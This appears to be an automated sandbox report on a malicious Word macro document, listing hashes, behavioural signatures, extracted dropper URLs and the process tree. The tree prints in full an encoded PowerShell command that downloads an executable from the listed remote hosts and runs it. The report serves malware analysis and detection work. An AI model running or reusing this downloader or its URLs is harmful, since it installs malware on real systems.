Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 11:13

General

  • Target

    E3-20200929_082900.doc

  • Size

    136KB

  • MD5

    489b3a76f798e7edcd1a586ffa0aea72

  • SHA1

    67ecbb08b776e141a5925cd7573bfcffd3aeb3d2

  • SHA256

    87bbfe64cf6bdc59bfd1cbd5c157c192232ab21203ae46a94e16f0037307a83d

  • SHA512

    240c67e769691193b53094eae628d7252e619448dd2bd6b69d536891cdfa60b805a7a6067e486b68471a1fbf61a1e9d99d6c10f953a267909dfc639d41a4e8ca

  • SSDEEP

    1536:iSFvW9P9QuiPfRD3bNqfNpu39IId5a6XP3Mg8af2qocfFXiNqHs6KXJPHNlK:iS3R1qf69xak3Mgx2ytXiNGs6wJPHNlK

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://youxel.com/sys-cache/lLWGgV/

exe.dropper

https://xiaomico.com/wp-content/Rs/

exe.dropper

http://onlynews24x7.com/5i1r62/cEsCCqC4li/

exe.dropper

http://blog.digikhata.com/denunciar/o2/

exe.dropper

http://test.qihchina.com/install/1b0IsII/

exe.dropper

http://www.saffronconsulting.in/wp-content/En/

exe.dropper

http://35.230.95.205/vxqhj/6U2gFiQPk/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3-20200929_082900.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2848
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2260
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABTAHUAMQAyADEAMAA5AD0AKAAoACcARgA3ADUAJwArACcAaAAwACcAKQArACcAZAA2ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBGAEkATABlAFwARQBPAGEATQA4AGkAZQBcAGMAeABiADMAUQBCAFIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQBSAGAAaQBgAFQAWQBQAHIATwBUAGAAbwBDAE8ATAAiACAAPQAgACgAKAAnAHQAbABzADEAMgAnACsAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACgAJwBzACcAKwAnADEAMQAsACcAKQArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAFAAbABhAHYAawBtAGEAIAA9ACAAKAAnAFMAOQAnACsAJwB1ACcAKwAoACcAMgAnACsAJwA3ADcAJwApACkAOwAkAFgAaAB4AGMAZAA5ADcAPQAoACgAJwBPADYAegA3ACcAKwAnADIAJwApACsAJwB4AGsAJwApADsAJABFAG0AYwBnADIAXwB4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcARwAnACsAJwBXAFgAJwApACsAJwBFACcAKwAoACcAbwAnACsAJwBhAG0AJwApACsAJwA4ACcAKwAoACcAaQAnACsAJwBlAEcAJwArACcAVwAnACsAJwBYAEMAeABiADMAcQBiAHIARwBXACcAKwAnAFgAJwApACkALgAiAHIARQBQAGAAbABhAGMARQAiACgAKAAnAEcAJwArACcAVwBYACcAKQAsAFsAcwBUAHIASQBOAEcAXQBbAEMAaABhAFIAXQA5ADIAKQApACsAJABQAGwAYQB2AGsAbQBhACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABGAHIAagBlAGEAcAA5AD0AKAAnAEEANAAnACsAKAAnADcAYgB0ACcAKwAnAHIAJwApACsAJwAxACcAKQA7ACQARgA4ADMANwBjADMAZQA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgBXAEUAQgBjAEwASQBlAE4AdAA7ACQAUwA1ADcAbwBzADAAeQA9ACgAKAAnAGgAdAAnACsAJwB0AHAAcwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAeQBvACcAKwAnAHUAeAAnACsAJwBlAGwALgBjACcAKQArACcAbwBtACcAKwAoACcALwBzACcAKwAnAHkAJwArACcAcwAtAGMAYQAnACkAKwAoACcAYwAnACsAJwBoAGUAJwApACsAKAAnAC8AbAAnACsAJwBMAFcARwAnACkAKwAnAGcAVgAnACsAKAAnAC8AJwArACcAKgBoACcAKQArACcAdAAnACsAJwB0AHAAJwArACgAJwBzADoALwAvACcAKwAnAHgAaQAnACkAKwAoACcAYQBvACcAKwAnAG0AaQBjACcAKQArACgAJwBvAC4AJwArACcAYwBvACcAKQArACcAbQAvACcAKwAoACcAdwBwAC0AYwBvACcAKwAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwBSAHMAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AJwArACcAbwBuACcAKwAnAGwAeQAnACsAJwBuAGUAJwArACgAJwB3ACcAKwAnAHMAMgAnACkAKwAnADQAJwArACcAeAAnACsAKAAnADcAJwArACcALgBjACcAKQArACgAJwBvAG0AJwArACcALwA1AGkAMQByADYAJwArACcAMgAnACkAKwAnAC8AJwArACgAJwBjAEUAJwArACcAcwAnACkAKwAoACcAQwBDAHEAJwArACcAQwAnACsAJwA0AGwAaQAvACcAKQArACcAKgBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACcALwAnACsAJwAvACcAKwAnAGIAJwArACgAJwBsAG8AJwArACcAZwAuACcAKQArACcAZAAnACsAKAAnAGkAZwBpAGsAJwArACcAaABhACcAKwAnAHQAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwBkACcAKQArACcAZQAnACsAKAAnAG4AdQAnACsAJwBuAGMAaQAnACsAJwBhAHIALwAnACkAKwAnAG8AJwArACcAMgAvACcAKwAnACoAJwArACgAJwBoAHQAdABwADoALwAvAHQAZQBzACcAKwAnAHQALgBxAGkAJwArACcAaABjACcAKwAnAGgAaQAnACkAKwAnAG4AYQAnACsAKAAnAC4AYwAnACsAJwBvAG0AJwApACsAKAAnAC8AaQBuACcAKwAnAHMAdAAnACsAJwBhACcAKQArACcAbABsACcAKwAnAC8AJwArACgAJwAxAGIAJwArACcAMAAnACsAJwBJAHMASQBJACcAKQArACcALwAnACsAJwAqAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACsAKAAnAC8AJwArACcALwB3AHcAdwAnACsAJwAuAHMAJwApACsAKAAnAGEAZgBmAHIAJwArACcAbwBuACcAKQArACgAJwBjAG8AJwArACcAbgAnACkAKwAnAHMAJwArACcAdQAnACsAJwBsACcAKwAnAHQAJwArACgAJwBpACcAKwAnAG4AZwAuAGkAbgAnACkAKwAoACcALwAnACsAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAJwBuAHQAJwArACgAJwAvACcAKwAnAEUAbgAvACcAKQArACcAKgBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AMwA1ACcAKwAnAC4AJwArACcAMgAzADAALgA5ACcAKQArACcANQAnACsAKAAnAC4AMgAnACsAJwAwADUAJwApACsAJwAvACcAKwAoACcAdgB4ACcAKwAnAHEAJwApACsAKAAnAGgAagAnACsAJwAvADYAVQAnACsAJwAyAGcARgAnACkAKwAoACcAaQBRACcAKwAnAFAAawAvACcAKQApAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAaQA0AHQAYwA3ADYAPQAoACcASQAnACsAKAAnAG4AJwArACcAawBuAGsAaQAnACsAJwBlACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQATgAyADkAMQBmADgAaAAgAGkAbgAgACQAUwA1ADcAbwBzADAAeQApAHsAdAByAHkAewAkAEYAOAAzADcAYwAzAGUALgAiAEQAYABPAFcAbgBsAE8AYABBAEQAZgBpAEwAZQAiACgAJABOADIAOQAxAGYAOABoACwAIAAkAEUAbQBjAGcAMgBfAHgAKQA7ACQATAB3AG0AawB4ADMAbAA9ACgAJwBIACcAKwAoACcAZgBiACcAKwAnAGsAYgA1ACcAKQArACcAYQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARQBtAGMAZwAyAF8AeAApAC4AIgBsAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADIAMQAzADkANAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABFAG0AYwBnADIAXwB4ACkAOwAkAEcAYgB0ADYAMwBpAG0APQAoACgAJwBMADQAeQAnACsAJwBmACcAKQArACcAdgAnACsAJwBoADMAJwApADsAYgByAGUAYQBrADsAJABJAHcAOABlAHAANQBiAD0AKAAnAEgAagAnACsAKAAnADkANQB2ACcAKwAnADMAcwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBpAGIAZwB2ADEAeQA9ACgAJwBBAHoAJwArACcAZwAwACcAKwAoACcAeQAnACsAJwBuAHoAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2556

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2556-53-0x00000000022D0000-0x00000000022D8000-memory.dmp

      Filesize

      32KB

    • memory/2556-52-0x000000001B530000-0x000000001B812000-memory.dmp

      Filesize

      2.9MB

    • memory/2848-7-0x00000000065F0000-0x00000000066F0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-45-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-0-0x000000002F9B1000-0x000000002F9B2000-memory.dmp

      Filesize

      4KB

    • memory/2848-17-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-28-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-29-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-44-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-6-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-46-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-2-0x000000007170D000-0x0000000071718000-memory.dmp

      Filesize

      44KB

    • memory/2848-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2848-54-0x000000007170D000-0x0000000071718000-memory.dmp

      Filesize

      44KB

    • memory/2848-55-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2848-56-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB